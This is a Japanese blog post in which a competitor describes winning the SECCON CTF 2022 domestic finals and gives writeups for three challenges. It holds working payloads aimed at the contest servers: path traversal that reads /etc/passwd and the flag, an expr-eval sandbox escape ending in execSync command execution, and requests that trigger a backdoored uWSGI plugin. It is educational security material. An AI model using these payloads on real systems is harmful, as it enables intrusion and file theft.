st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON CTF 2022国内決勝大会の参加記(writeup)

2/11 - 2/12という日程で、2019年度の大会ぶりにオンサイト形式@浅草橋で開催された。keymoonさんとふたりチーム _(-.- _) )_ で参加し、優勝した🏅 やったー!

2015年度(国内)、2017年度(国内と国際の両方)、2018年度(国内)、2019年度(国内)とこれまでSECCON CTFの決勝大会に4回参加してきたが、私が参加していたチームでは2017年度の5位が最高成績だったので嬉しい。同じくkeymoonさんと参加した前回に引き続いて国内1位だった*1ことも嬉しいし、久しぶりのオンサイトでの決勝大会ということで、色々な方とお話しできたのもよかった。もちろん、問題の質も高くその点でも楽しめた。

リンク:

1st!
フラグに這い寄る我々

大会やチームについて

競技形式

JeopardyとKing of the Hill(KoH)を並行して進めるような形式だった。Jeopardyはいつものやつという感じで、Web, Pwn, Reversing, Cryptoといった基本的なジャンルに加えて、決勝大会ならではといえるHardware(?)問も出題されていた。問題は場所と時間の制約があるHardwareを除いて1日目にすべてが公開され、競技途中で追加されることはなかった。問題数は次のような感じ(カッコ中は各問題の配点):

  • Web: 5 (100, 200, 300, 300, 500)
  • Pwn: 4 (200, 250, 300, 500)
  • Reversing: 3 (100, 250, 300)
  • Crypto: 3 (200, 300, 400)
  • Misc(Hardware): 2 (100, 200)

会場から競技に参加できるのは各日それぞれで7時間ほどに限られており、スコアサーバや問題サーバを含めた競技ネットワークにもその時間中しか接続できなかった。Jeopardyも例外ではなく、時間外は問題サーバやスコアサーバにはアクセスできない。ただし、Jeopardyでは問題文と添付ファイルだけで解ける(もしくは、あとは問題サーバにexploitをぶちかますだけというところまで進められる)ような作りになっている問題ばかりで、それらがあれば宿題として自宅やホテルに帰ってから取り組めるようになっていた。スコアサーバに接続できるうちに問題文と添付ファイルの回収をしておかないとそれもできないわけだけれども。

スコアリングはStatic Scoringが採用されており、解いたチームの数によってその問題で得られるポイントが変わっていくということはなかった。最初に解いた(first blood)チームにボーナスポイントが与えられるということもないので、フラグを溜め込んでおいて終盤で一気に通すという、Flag Hoardingとかサブマリン戦法とか呼ばれている闇の戦略を採ることもほぼデメリットなし*2にできる。

KoHは各チームの取り組み次第で得られる点数が変わってくるような、ルール中の言葉を借りると "the better the solution, the more points you will receive" に表される形式だった。解けるか解けないかの1ビットでなく、たとえばコードゴルフ*3でのコードの短さのように評価にグラデーションがあるようなお題が与えられる。その評価に基づいて、よりよい解法のチームほど多くの点数が得られるというものだった。

各問題には5分で1単位の「ラウンド」があり、ラウンドごとに各チームに与えられる点数の計算と付与が行われる。上述の競技ネットワークに接続できる7時間がKoHの問題に取り組める時間で、スコアの加算もその時間中にのみ行われる。

2019年度大会までの形式でいうAttack Pointsは、今回はJeopardyがあるので存在しない。また、どこか1チームだけがDefense Keywordを書き込め、したがってそのチームだけが得点できるような勝者総取りの問題も、今回はなかった。

Jeopardyよりは他チームの動向に意識を向ける必要があるものの、Attack & Defense(A&D)ほどチーム同士で殴り合っているわけでもないという塩梅だった。1日目と2日目で完全に問題が分かれており、それぞれ1問と2問が出題されていた。

チーム名

個人では以前から _(:3」∠)_ やら( 'ᾥ' )やら顔文字や絵文字のチーム名で参加している。スコアボードに出てくるとちょっとインパクトがあるし、かわいいチーム名だと微妙にテンションが上がるからというのが、こういったチーム名にする理由。チーム名の選び方は適当で、Windows 10以降で使えるようになった Windows + . のショートカットで出てくる顔文字・絵文字入力からかわいいやつを選んだり、「顔文字」で検索して出てきたものを使ったりしている。

前回大会でもkeymoonさんと参加していたが、このときは (o^_^o) というチーム名だった。前回も今回もスコアボードで使えるチーム名にASCII範囲外の文字が使えないという制約があったため、頑張ってその範囲内でなんとかしている。前回のチーム名もそこそこよいのだけれども、今回はもうちょっとかわいいものを使いたいなあと思い、_(:3」∠)_ をベースにそれっぽくした。また、「這ってでも旗を取りに行く気概」という意味を込めている。というのはkeymoonさんの予選でのwriteupを読んでの後付け。

SECCONのWebサイトではフォントの都合でややシュッとしている

やっていたこと

1日目はKoH(独自のプログラミング言語のコンパイラを修正したり、攻撃したりする問題だったそう)はkeymoonさんにおまかせして、私は夜も含めてずっとJeopardyの問題に取り組んでいた。始まって3時間ぐらいでWebのeasylfi2(こちらは国際決勝大会も含めfirst bloodだったそう), babyboxを通してブチ上がったのはいいものの、それ以降はまったく解けなかった。

会場から自宅に帰った後は、今書いたようにJeopardyの問題の続き(特にWebのlight-noteとMaaS)を遊んでいた。あとはRevのWhiskyが数solves出ていて簡単だという話をkeymoonさんから聞いたので、それを解いたりしていた。2日目にKoHが新たに2問出題されることがわかっていたので、頭が働かない状態で挑むのはまずいと思い、Jeopardyを解くのは途中で諦めて寝る。睡眠時間は3時間ぐらいだったはず。

2日目のKoHはHeptarchyとWitchQuizの2つだった。ちょうどよいので1人1問、それぞれが得意な方を取り組もうという話になっていた。WitchQuizはCrypto問らしいと聞いたので私には無理だと思い、そちらは完全にkeymoonさんにおまかせしつつ、私はReversing問のHeptarchyに取り組むことになった。

詳細は後述するけれども、Heptarchyは1時間ごとに異なる問題に取り組むような形式だったので、競技時間中はかかりきりになっていた。Jeopardyの続きを遊ぶ余裕はなく、そのまま終了。

感想とか

ふたりでもまあ大丈夫だろう*4という気持ちと、大丈夫かなあという気持ちの両方がありつつ競技に臨んだ。結果的に優勝できたが、リソースの厳しさを感じることが多かった。たとえば、1日目ではkeymoonさんが、2日目に至ってはふたりともが日中はほぼずっとKoHに拘束されているという状況だった。

JeopardyとKoHの点数のバランスについて。各チームの点数の内訳を見るとわかるように、国内決勝大会ではどのチームもあまりJeopardyが解けていなかったためかは知らないけれども、JeopardyよりもKoHで得られる点数の方が大きくなる傾向にあった。そういうわけで、KoHに注力した(せざるを得なかった)のが効いたような気がする。

JeopardyのWeb問は予選大会に引き続いてArkさんが作問されていたが、相変わらず面白く、そして大変難しかった。全部で5問が用意されていたものの、_(-.- _) )_ はそのうちの2問しか解けなかった。もっとも、国際決勝大会も含めて5問中の2問はどのチームにも解かれなかったそう。公式writeupを楽しみにしている。

これなんと読むんですかと運営に聞かれたり*5、そのページがMarkdownで書かれていたのか、ルールページでチーム名のアンダースコアで囲まれている部分が斜体として表示されていたり、色々迷惑をかけていた。記号だらけでまともに検索もできないので、今後は違う方向性での命名を検討したい。

ほか、やってよかったこと・持ってきてよかったもの:

  • 睡眠: 前日によく寝て、1日目も短いけれど寝たおかげで、競技中はずっと集中できていた
  • 這ってでも旗を取りに行く気概: KoHではどれだけ雑な解法でもよいので試し、1点でも多く獲得していきたいと思っていたのだけれども、Heptarchyではどれだけダメなコードでも投げることで結構な得点ができた。ただ、得点への貪欲さはまだ足りていなかったようにも思う
  • LANアダプターとLANケーブル: そもそも競技ネットワークには有線でしか接続できないというアナウンスが事前にあった
  • カントリーマアムなどのお菓子: おいしかった
  • (ToDo: なんか思いついたら追記する)

やっておけばよかったこと・ほしかったもの:

  • LANケーブル作りの修行: 事前にそういう問題が出ることを予測できていたならエスパーだ
  • モバイルモニター: CTFを遊ぶには1画面では足りない

Jeopardy

[web 200] easylfi2 (8 solves)

easylfi again! I know you fully understand everything about curl.

(問題URL)

添付ファイル: easylfi2.tar.gz

ソースコードが与えられている。大変シンプルで、以下のようにフレームワークにKoaを使ってWebアプリケーションを作っている。アクセスが来れば、リクエストされたパスをもとに curl file://app/public/(リクエストされたファイル) というような感じのOSコマンドで curl を使ってその内容を取得し返す。

問題文でも言及されているし、問題名でも2って言われているけれども、SECCON CTF 2022 Qualsで出たeasylfiとよく似た機能を持っている。ただし、easylfiではPythonが使われていたのに対して、今回はJavaScriptが使われている。言語やフレームワークの違いが解法に関わってきそう。

const app = new (require("koa"))();
const execFile = require("util").promisify(require("child_process").execFile);

const PORT = process.env.PORT ?? "3000";

// WAF
app.use(async (ctx, next) => {
  await next();
  if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
    ctx.body = "🤔";
  }
});

app.use(async (ctx) => {
  const path = decodeURI(ctx.path.slice(1)) || "index.html";
  try {
    const proc = await execFile(
      "curl",
      [`file://${process.cwd()}/public/${path}`],
      { timeout: 1000 }
    );
    ctx.type = "text/html; charset=utf-8";
    ctx.body = proc.stdout;
  } catch (err) {
    ctx.body = err;
  }
});

app.listen(PORT);

Dockerfile はこんな感じ。/flag.txt にフラグがあるらしい。

FROM node:19.6.0-slim
ENV NODE_ENV=production
WORKDIR /app

RUN apt update && apt install -y curl

COPY ["package.json", "package-lock.json", "./"]
RUN npm install --omit=dev
COPY . .
RUN mv flag.txt /flag.txt

USER 404:404

CMD ["node", "index.js"]

ほかのeasylfiとの違いを見ていく。まずはこの「WAF」を自称している機能だけれども、easylfiでは SECCON という文字列が含まれているだけでレスポンスボディが Try harder に書き換えられるようになっていたが、今回は SECCON{\w+} とフラグフォーマットに一致する文字列が含まれているか、もうちょっとちゃんとチェックするようになっている。

ほかのWAF的な機能でいうと、easylfiでは ..% といった文字列がリクエストされたパスに含まれているだけで、パストラバーサルを試行しているとバレてそこで処理が中断されるようになっていたのだが、今回はそれがない。

// WAF
app.use(async (ctx, next) => {
  await next();
  if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
    ctx.body = "🤔";
  }
});

まずはパストラバーサルができるかチェックする。できた。もちろん、/flag.txt を取得しようとすると怒られる。

$ curl -g --path-as-is 'http://localhost:3000/../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
$ curl -g --path-as-is 'http://localhost:3000/../../flag.txt'
🤔

どうやってこのフィルターをバイパスするかという話だけれども、コードを眺めていて JSON.stringify(ctx.body).match(/SECCON{\w+}/) とわざわざ JSON.stringify したものをチェックしているのが気になった。どうしてわざわざこんなことをしているのだろう。WAF部分に typeof ctx.body だったり ctx.body.constructor だったりを出力するコードを追記しても、通常のリクエストでは string しか出力されない。

色々試していると、デカいファイルをダウンロードするとどうなるのだろうと思って /usr/bin/perl を取得しようとした際に、妙な挙動を示した。なんかエラーが起きてJSONが返ってきてない? 確認してみると、stdout で返ってきているのは /usr/bin/perl なのだけれども、途中で切れていた。エラーのコードを探すと、どうやらこれは stdoutLen > options.maxBuffer である場合に吐き出されるっぽい。Node.jsのドキュメントによると、options.maxBuffer はデフォルトでは 1024 * 1024 だそう。これだ!

$ curl -g --path-as-is 'http://localhost:3000/../../usr/bin/perl'
{"code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER","cmd":"curl file:///app/public/../../usr/bin/perl","stdout":"…","stderr":"  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0"}

easylfiでも使った要素だが、https://example.com/{a,b,c} のようにブレースを使うことで curl に複数のファイルへアクセスさせることができる。各ファイルのサイズを確認しつつ {/usr/bin/tput,/etc/passwd,…,/flag.txt,…} のような感じで複数のファイルにアクセスさせることで stdout に流れる文字数を調整し、{"code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER","cmd":"curl file:///app/public/../../…","stdout":"…SECCON{DUMMY","stderr":"…"} のように SECCON{\w+} のフォーマットに当てはまらない(途中で切れる)形でフラグを出力させるのはどうか。

小さいものから大きいものまでたくさんのファイルがある /etc//usr/bin/ls -l し、どんなサイズのファイルがあるか眺める。手作業でバイト数を調整し、できあがったのが以下の組み合わせ。///flag.txt のようにスラッシュの数で微妙な調整をしている。

import requests

def query(f):
    url = 'http://easylfi2.dom.seccon.games:3000/../../{{{}}}'
    url = url.format(','.join(f))
    
    r = requests.get(url.replace('../', '%2E%2E%2F'))
    print(r.text[-10000:])
    if '🤔' not in r.text and 'SECCON' in r.text:
        return True, len(r.text)
    else:
        return False, len(r.text)

print(query([
    '/usr/bin/who'
] * 11 + [
    '/usr/bin/tput', '/usr/bin/bashbug', '/usr/bin/debconf', '/usr/bin/debconf',
    '/etc/bindresvport.blacklist', '/etc/bindresvport.blacklist', '/etc/bindresvport.blacklist',
    '/etc/issue.net', '../' * 2 + '///flag.txt',
    'flag.txt', '/etc/debian_version', '/etc/passwd'
]))

実行すると、フラグが得られた。

$ python3 s.py
…\n--_curl_--file:///app/public/..%2F..%2F/etc/issue.net\nDebian GNU/Linux 11\n--_curl_--file:///app/public/..%2F..%2F..%2F..%2F///flag.txt\nSECCON{Wha7_files_did_you_use_to_s0lve_1t","stderr":"…"}
(True, 2326746)
SECCON{Wha7_files_did_you_use_to_s0lve_1t}

開始直後はbabyboxを見ていたのだけれども、なかなか進捗が出なかったので30分ぐらい経ってからこちらを見始めた。そこから1時間ぐらいで解けた。first bloodを取れて嬉しい。

[web 100] babybox (4 solves)

Can you hack this sandbox?

(問題サーバのURL)

添付ファイル: babybox.tar.gz

JavaScriptのサンドボックス問っぽい。ソースコードが与えられている。まず index.js は次の通り。expr というパラメータを受け付けて、それを calc.js に丸投げしている。

const fastify = require("fastify")();
const fs = require("node:fs").promises;
const execFile = require("util").promisify(require("child_process").execFile);

const PORT = process.env.PORT ?? "3000";

fastify.get("/", async (req, reply) => {
  const html = await fs.readFile("index.html");
  return reply.type("text/html; charset=utf-8").send(html);
});

fastify.post("/calc", async (req, reply) => {
  const { expr } = req.body;
  try {
    const result = await execFile("node", ["./calc.js", expr.toString()], {
      timeout: 1000,
    });
    return result.stdout;
  } catch (err) {
    return reply.code(500).send(err.killed ? "Timeout" : err);
  }
});

fastify.listen({ port: PORT, host: "0.0.0.0" });

calc.js は次の通り。こちらも大変シンプルで、expr-eval というパッケージを使って計算式を評価している様子。

const { Parser } = require("expr-eval");

const expr = process.argv[2].trim();
console.log(new Parser().evaluate(expr));

expr-eval のドキュメントに文法がまとめられている。関数呼び出しやプロパティへのアクセスができるようになっているのは嬉しい。a[i] のようにブラケットを使う文法は、JSとは異なって配列にしか使えない(正確に言うと、添字が数値に変換されてしまう)ので、動的に生成したプロパティ名を使ってプロパティにアクセスするのが難しそうだったり、機能が少なかったりでちょっとつらそう。当たり前だけど、thiseval などの変数にはアクセスできない。

$ node calc.js "this"
/app/node_modules/expr-eval/dist/bundle.js:208
            throw new Error('undefined variable: ' + item.value);
            ^

Error: undefined variable: this
…
$ node calc.js "eval"
/app/node_modules/expr-eval/dist/bundle.js:208
            throw new Error('undefined variable: ' + item.value);
            ^

Error: undefined variable: eval
…

Dockerfile を見ると、フラグの書かれているファイル名が推測不能であることがわかる。RCEに持ち込む必要がある。

FROM node:19.6.0-slim
ENV NODE_ENV=production
WORKDIR /app

COPY ["package.json", "package-lock.json", "./"]
RUN npm install --omit=dev
COPY . .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt

USER 404:404

CMD ["node", "index.js"]

こういうJSのサンドボックス問でまず試すのは、constructor, prototype, __proto__ といった特殊なプロパティへのアクセスだ。Function にアクセスできれば new Function('return process')() のように任意のJSコードの実行に持ち込めるかもしれないし、Object.prototype などにアクセスできればPrototype Pollutionに持ち込めるかもしれない。

constructor を試すと妙な挙動をした。constructor だけだと Object を返したが、a.constructor のようにプロパティ名として constructor を使った場合にはエラーを吐いた。謎。

前者はたぶん expr-evalevaluate.js の処理がその原因。expr.functions というビルトインの関数がまとめられているオブジェクトがあって、変数へのアクセスではまず expr.functions[item.value] (item.value は変数名)が存在しているかチェックされている。item.value in expr.functions は当然真だし、expr.functions.constructorObject になる。

$ node calc.js "constructor"
[Function: Object]
$ node calc.js "a=123;a.constructor"
/app/node_modules/expr-eval/dist/bundle.js:1049
      throw new Error('parse error [' + coords.line + ':' + coords.column + ']: Expected ' + (value || type));
      ^

Error: parse error [1:20]: Expected TNAME
    at ParserState.expect (/app/node_modules/expr-eval/dist/bundle.js:1049:13)
    at ParserState.parseMemberExpression (/app/node_modules/expr-eval/dist/bundle.js:1314:14)
    at ParserState.parseFunctionCall (/app/node_modules/expr-eval/dist/bundle.js:1277:12)
    at ParserState.parsePostfixExpression (/app/node_modules/expr-eval/dist/bundle.js:1260:10)
    at ParserState.parseExponential (/app/node_modules/expr-eval/dist/bundle.js:1252:10)
    at ParserState.parseFactor (/app/node_modules/expr-eval/dist/bundle.js:1247:12)
    at ParserState.parseTerm (/app/node_modules/expr-eval/dist/bundle.js:1215:10)
    at ParserState.parseAddSub (/app/node_modules/expr-eval/dist/bundle.js:1204:10)
    at ParserState.parseComparison (/app/node_modules/expr-eval/dist/bundle.js:1193:10)
    at ParserState.parseAndExpression (/app/node_modules/expr-eval/dist/bundle.js:1181:10)

Node.js v19.6.0

Object にアクセスできるというのは使えそう。Object には Object.keys, Object.getOwnPropertyDescriptors, Object.defineProperty など、オブジェクトを操作するのに使えるメソッドがいっぱい生えている。これで Function を手に入れられないか。

expr-eval では a() = 7*7 のような記法で関数を定義できる。Object.getPrototypeOf で定義した関数の [[Prototype]] (つまり、Function.prototype)を取得し、さらに Object.getOwnPropertyDescriptors でプロパティ記述子を列挙する。constructorFunction が入っていた。

$ node calc.js "Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptors(Object.getPrototypeOf(a)); e = Object.entries(d); e[4]"
[
  'constructor',
  {
    value: [Function: Function],
    writable: true,
    enumerable: false,
    configurable: true
  }
]

CommonJS方式でモジュールをインポートしているので process.mainModule にアクセスできる。ES Modulesだったとしても process.binding('spawn_sync').spawn があるけど。そこから require にアクセスし、OSコマンドの実行に持ち込める。

$ node calc.js "Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptors(Object.getPrototypeOf(a)); e = Object.entries(d); f = e[4][1].value; f('return process.mainModule.require(\"child_process\").execSync(\"id\").toString()')()"
uid=404 gid=404 groups=404

実行するOSコマンドを cat /flag* に変えて問題サーバに投げると、フラグが得られた。

SECCON{pr0totyp3_po11ution_iS_my_friend}

babyと名前についている問題は8割がbabyではないという説を補強する問題だった。

[reversing 100] whisky (7 solves)

Do you like whisky?
Read /flag.txt to get the flag!

(問題サーバのURL)

添付ファイル: backdoor_plugin.so

Webサーバにバックドアが仕掛けられているので、それを使って /flag.txt を読めという問題っぽい。で、そのバックドアを仕掛けるプラグインが backdoor_plugin.so なのだろう。

IDA Freewareで開いて適当に関数を見ていくと、uwsgi_backdoor_request という関数が気になった。HTTPリクエスト中に含まれるヘッダの値にもとづいてバックドアが動き、何かしらの処理をしてくれるらしい。

じゃあその条件とは何かというところだけれども、まず uwsgi_get_var(a1, "HTTP_BACKDOOR", 13LL, &v8)Backdoor ヘッダを取ってきているのはわかる。uwsgi_strnicmp(var, v8, "enabled", 7LL) でその値が enabled かどうかをチェックしているのもわかる。でも、バックドアが発火する条件として参照されている *(_WORD *)(a1 + 472) == 16 は何なのだろう。

__int64 __fastcall uwsgi_backdoor_request(__int64 a1)
{
  unsigned int v2; // r13d
  __int64 var; // r12
  __int64 v5; // rdi
  void *v6; // r14
  void *v7; // r12
  unsigned __int16 v8; // [rsp+6h] [rbp-32h] BYREF
  unsigned __int64 v9; // [rsp+8h] [rbp-30h]

  v9 = __readfsqword(0x28u);
  if ( (unsigned int)uwsgi_parse_vars() )
  {
    v2 = -1;
  }
  else
  {
    v2 = 0;
    v8 = 0;
    var = uwsgi_get_var(a1, "HTTP_BACKDOOR", 13LL, &v8);
    uwsgi_response_prepare_headers(a1, "200 OK", 6LL);
    uwsgi_response_add_header(a1, "Content-type", 12LL, "text/html", 9LL);
    if ( !(unsigned int)uwsgi_strnicmp(var, v8, "enabled", 7LL) && *(_WORD *)(a1 + 472) == 16 )
    {
      v5 = *(_QWORD *)(a1 + 192);
      if ( v5 )
      {
        v6 = (void *)uwsgi_strncopy(v5, *(unsigned __int16 *)(a1 + 200));
        v7 = (void *)uwsgi_strncopy(*(_QWORD *)(a1 + 464), *(unsigned __int16 *)(a1 + 472));
        backdoor();
        free(v6);
        free(v7);
      }
    }
    uwsgi_response_write_body_do(
      a1,
      "<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg\">\n",
      122LL);
  }
  if ( v9 == __readfsqword(0x28u) )
    return v2;
  else
    return term_proc();
}

a1uwsgi_get_var, uwsgi_response_prepare_headers, uwsgi_response_add_header という関数に第1引数として渡されている。これらの関数名でググるとuWSGIのドキュメントが出てきた。uwsgi.h を見るに、wsgi_request という構造体らしい。

オフセットとメンバ名の対応付けをどうしようかなあと思ったが、gdbで uwsgi_backdoor_request にブレークポイントを置いて、これらのオフセットにある値を見つつ、色々なヘッダを投げてみればよいのではないかと思いつく。

次のように、wsgi_request に含まれるヘッダなどは、基本的にまず文字列そのものが入っている char * があり、その次に長さを示す uint16_t のメンバが出現するという構造になっている様子。a1+192a1+464 はヘッダかなにか、a1+200a1+472 がそれらの長さだろう。

char *referer;
    uint16_t referer_len;

    char *cookie;
    uint16_t cookie_len;
…

そのために、まず次のようなパラメータを持つ uwsgi.ini で適当にアプリケーションを作る。

plugins-dir = /var/www/plugins
plugin = backdoor

*(_WORD *)(a1 + 472) == 16 と比較している箇所にブレークポイントを置く。

$ ps aux
USER     PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
user       1  0.0  0.0  15468  6212 ?        Ss   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       7  0.0  0.0  40056  2600 ?        Sl   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       8  0.0  0.0  40056  2600 ?        Sl   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       13  0.0  0.0  40056  2600 ?        Sl   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       19  0.0  0.0 171128  2600 ?        Sl   06:59   0:00 uwsgi --ini /var/www/uwsgi.ini
user       23  0.1  0.0   4244  3388 pts/0    Ss   07:10   0:00 bash
user       37  0.0  0.0   5896  2812 pts/0    R+   07:10   0:00 ps aux
$ gdb -p 19
…
(gdb) b *(uwsgi_backdoor_request + 0xe0)
Breakpoint 1 at 0x7f1876eaf6f0
(gdb) c

curl http://localhost:33333/hoge -H "Backdoor: enabled" -H "Authorization: fugaa" -H "Referer: piyo" -A "user-agent" のような感じでHTTPリクエストを送ると、設定したブレークポイントに引っかかる。a1+192 はリクエストされたパス、a1+464Authorization ヘッダらしいとわかった。

Thread 3 "uwsgi" hit Breakpoint 1, 0x00007f1876eaf6f0 in uwsgi_backdoor_request () from /var/www/plugins/backdoor_plugin.so
(gdb) x/gd $rbp+472
0x7f1876e05250: 5
(gdb) x/s *(char **)($rbp+464)
0x7f1876dff1a9: "fugaa"
(gdb) x/gd $rbp+200
0x7f1876e05140: 5
(gdb) x/s *(char **)($rbp+192)
0x7f1876dff05a: "/hoge\t"

これらの文字列を引数に backdoor が呼び出されている。真面目に読まずとも、リクエストされたパスを絶対パスとして解釈してファイルを読み、Authorization ヘッダの値を鍵として、それをAES-128-ECBで暗号化しているのだろうなあと推測できる。そして、暗号化されたファイルの内容は Backdoor というレスポンスヘッダで返される。

__int64 __fastcall backdoor(__int64 a1, FILE *path, __int64 key)
{
  __int64 v3; // rbp
  FILE *v6; // rdi
  FILE *v7; // rax
  unsigned int v8; // ebx
  __int64 v9; // rbp
  __int64 v10; // rax
  __int64 result; // rax
  int v12; // r8d
  __int64 v13; // r13
  char *i; // r14
  __int64 v15; // r8
  char *v16; // rdi
  int v17; // [rsp+10h] [rbp-450h] BYREF
  int v18; // [rsp+14h] [rbp-44Ch] BYREF
  __int128 ptr[16]; // [rsp+18h] [rbp-448h] BYREF
  __int128 v20[16]; // [rsp+118h] [rbp-348h] BYREF
  char v21[520]; // [rsp+218h] [rbp-248h] BYREF
  unsigned __int64 v22; // [rsp+420h] [rbp-40h]
  __int64 v23; // [rsp+438h] [rbp-28h]

  v6 = path;
  v23 = v3;
  v22 = __readfsqword(0x28u);
  memset(ptr, 0, sizeof(ptr));
  memset(v20, 0, sizeof(v20));
  v18 = 0;
  v7 = fopen64((const char *)path, "r");
  if ( v7 )
  {
    v6 = v7;
    v8 = fread(ptr, 1uLL, 0xFFuLL, v7);
    fclose(v6);
    v9 = EVP_CIPHER_CTX_new();
    if ( v9 )
    {
      v10 = EVP_aes_128_ecb();
      if ( (unsigned int)EVP_EncryptInit_ex(v9, v10, 0LL, key, 0LL)
        && (unsigned int)EVP_EncryptUpdate(v9, v20, &v17, ptr, v8)
        && (unsigned int)EVP_EncryptFinal_ex(v9, (char *)v20 + v17, &v18) )
      {
        v12 = v17 + v18;
        v13 = 0LL;
        v17 = v12;
        for ( i = v21; v17 > (int)v13; LOWORD(v12) = v17 )
        {
          v15 = *((unsigned __int8 *)v20 + v13);
          v16 = i;
          ++v13;
          i += 2;
          __sprintf_chk(v16, 1LL, -1LL, "%02x", v15);
        }
        uwsgi_response_add_header(a1, "Backdoor", 8LL, v21, (unsigned __int16)(2 * v12));
      }
      v6 = (FILE *)v9;
      EVP_CIPHER_CTX_free(v9);
    }
  }
  result = v22 - __readfsqword(0x28u);
  if ( result )
    return uwsgi_backdoor_request((__int64)v6);
  return result;
}

試しに、ローカルで /flag.txt の内容を AAAABBBBCCCCDDDD という鍵で暗号化したものを返してもらう。

$ curl -i http://localhost:33333/flag.txt -H "Backdoor: enabled" -H "Authorization: AAAABBBBCCCCDDDD"
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Mon, 13 Feb 2023 22:35:19 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Backdoor: 720b79fdb7aae50ad957a50165e04d8a

<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg">

CyberChefに投げて復号してやると、たしかにダミーのフラグが得られていることがわかる。

今度は問題サーバに対して試す。

$ curl -i "http://whisky.dom.seccon.games:8080/flag.txt" -H "Backdoor: enabled" -H "Authorization: AAAABBBBCCCCDDDD"
HTTP/1.1 200 OK
Content-type: text/html
Backdoor: 16cd308feb96473b59ea70e07804341169405574d46d60997eb7853731427bc67531aebcfcc49560a4305b0de0018f8d433e8070e2fa6006aca7791eadbada8a

<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg">

フラグが得られた。

SECCON{Which_do_you_prefer:Whisky_Beer_Wine_Sake}

easylfi2より正答チーム数が少ないことに納得がいっていない。

King of the Hill

2日目: Heptarchy

(問題サーバのURL)

添付ファイル: heptarchy-distfiles.tar.gz

1時間ごとにバイナリが提供されるので、それをひたすらリバースエンジニアリングしろという問題だった。どのバイナリも元のソースコードは異なるプログラミング言語で書かれているようで、この問題に取り組める7時間中に以下の7つのプログラミング言語製のバイナリが配布された。

  • C
  • C++
  • Rust
  • Go
  • D
  • Python
  • WebAssembly
    • これだけ元の言語がWebAssemblyというよりはターゲットがWebAssemblyという感じだった。元の言語はC

バイナリにフラグが含まれているというわけではない。各チームの得点は、各チームが提出した(デコンパイルの結果できあがった)ソースコードを、提供されたバイナリと同じ環境でコンパイルした結果出力されたバイナリとの比較によって決まる。差分が少なかったチームほど得点が多く、逆に差分が多かったチームほど少なくなる。したがって、リバースエンジニアリングして挙動を把握するだけでは不十分で、どのようなソースコードを書けばそのようなバイナリが出力されるかまで考えなければならない。

このあたりのルールに加えて、どのような環境(コンパイラのバージョンとか、渡されるオプションとか)でソースコードがコンパイルされるかということがわかるスクリプトや Dockerfile は、問題がオープンした時点ですべての言語のものが提供された。他チームと競い合うのが無理だと思った言語はほどほどに切り上げて、以降の言語に向けて準備をしておくこともできた。

この問題で重要な点は、ルールにも書かれていたが、ソースコードの提出すらしないチームはまったく得点できないということ。裏を返せば、提供されたバイナリとは似ても似つかないバイナリが出力されるものであっても、ソースコードさえ提出すれば最低限のポイントは得られるということだ。もちろんコンパイル可能である必要があるし、詳しくは後述するが、差分が大きすぎて差分計算に時間がかかる場合でも得点できないルールではあった。

ちなみに、その差分のサイズは、添付されていた heptarchy-distfiles.tar.gz に含まれるバイナリによって計算されていた。そのため、ソースコードを提出するとどれぐらいの差分のサイズになるかが、手元で確認できるようになっていた。

このようなルールを考慮し、各言語の初動では、あらかじめ Hello, world! するコードを用意しておいて最初はそれを提出し、続いてバイナリを実行した結果から挙動の推測をし、それっぽいコードに変えていくということをしていた。それから真面目にリバースエンジニアリングして元のソースコードを推測しつつ、細かな修正を加えてコンパイルし、出力されるバイナリと提供されたバイナリの差分が小さくなれば提出するということを繰り返す戦略を採った。

各チームの最終的なスコアは次のような感じ。3位だったのはよかったけれども、上の2チームとは200点程度も離れていてくやしい。Python以外では1, 2位をほとんど取れていなかったから仕方ない。

1284 Double Lariat
1236 rokata
1038 _(-.- _) )_
983 AERO SANITY
